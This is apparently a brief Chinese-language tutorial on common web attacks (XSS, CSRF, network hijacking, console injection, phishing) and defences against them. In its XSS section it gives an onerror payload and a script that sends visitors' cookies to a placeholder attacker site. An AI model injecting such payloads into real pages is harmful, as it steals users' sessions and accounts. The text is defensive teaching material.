浅谈web安全
常见的攻击方式
XSS攻击
即跨站脚本攻击(Cross Site Scripting),主要原理是其允许恶意web用户将代码植入到提供给其它用户使用的页面中。是最常见的安全威胁。
手段
- 在用户可以生成数据的表单或者页面中,直接输入脚本,比如社交网站新浪微博,恶意用户发一段包含脚本的状态,其他用户访问到之后,从而造成威胁;
利用img标签+onerror事件;
比如用于分享一张图片行为,图片src属性设置为\" onerror=\"javascript:alert('XSS');\"
最终生成的img便签为1<img src="" onerror="javascript:alert('XSS');"/>利用url的query参数注入脚本。
运用示例
通过XSS注入,可以直接获取用户Cookie拿到其登录后的权限,比如注入<script>window.open('http://your.site.com?msg='+document.Cookie)</script>
这段代码到某网站评论区,其他用户访问到此页面后,直接将他们的Cookie信息发送至实施注入者的server上。
防范
对用户输入字符进行转义,包括但不限于:
- ‘<’ 以及 ‘>’ 标签转义为‘<’;及’>’;(防范HTML片段);
- 反斜杠 ‘\’ 转义, (防范unicode码,比如
\u003
可以伪装<
字符); - 先转义再使用query参数,更不要对参数直接eval;
- 服务器设置对Cookie的
httpOnly
属性为true,禁止客户端js读写Cookie。
CSRF攻击
CSRF(Cross-site request forgery跨站请求伪造,也被称为“One Click Attack”或者Session Riding,通常缩写为CSRF或者XSRF,是一种对网站的恶意利用。
手段
- GET请求很简单,直接伪造;
- POST请求可以通过在iframe中伪造表单形式发起攻击.
运用
以你名义发送邮件,发消息,盗取你的账号,甚至于购买商品,虚拟货币转账……
防范
- 不要违反HTTP规范,对不同的场景使用对应的请求方式访问服务端,不要混用;
- 在表单内加入隐藏验证字段,可以是加密过的Cookie/随机字符串等token;
- 表单加入验证码机制(用户体验不够好)。
其他方式
网络劫持攻击
比如使VPN, 连接不安全的wifi网络等,http请求经过了中间层,信息可能被劫持导致被攻击。解决方式:
- 升级http为https;
- 使用不对称加密-即客户端加密,服务端解密的方式。
控制台注入代码
比较少见,方式为攻击者诱导用户在控制台粘贴攻击脚本。
钓鱼
假冒被攻击网站外观,诱骗用户。